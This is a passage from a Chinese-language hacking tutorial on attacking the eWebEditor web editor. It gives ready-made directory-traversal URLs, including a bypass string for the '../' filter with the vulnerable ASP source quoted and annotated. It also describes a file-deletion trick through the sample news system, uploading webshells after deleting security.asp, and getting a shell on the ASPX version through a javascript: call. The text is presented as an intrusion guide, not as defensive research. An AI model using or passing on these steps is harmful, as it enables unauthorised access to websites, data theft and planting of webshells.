注意修改红色部分的字段名、位数、ascii码的值!
7、目录遍历漏洞!
这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!www.ExamW.CoM
漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..
类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径!
另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 :
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir变量,这个值等下我们可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If
If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If
s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List
Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If
s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If
s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If
Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If
sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1
If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If
sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"
Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出
Else
sDir = ""
End If
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:
要删的文件(相对路径就可以了): | |
新闻标题(随便填): | |
标题图片: | 当编辑区有插入图片时,将自动填充此下拉框 |
新闻内容(随便填): |
然后得到返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该文件可以上传任意webshell!
12、其他!
其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了,以后想到了再补全!说说aspx php jsp版本的利用吧!
ASPX版:中华考试网
受影响文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....
PHP版本:PhP版本和asp版本利用方式类似!不过php权限较高,不多废话了!
jsp版本:网上有很多jsp的版本,根本没有对上传文件类型进行检测!需要注意的是jsp版本的没有上传按钮!直接选择文件,回车就可以提交了!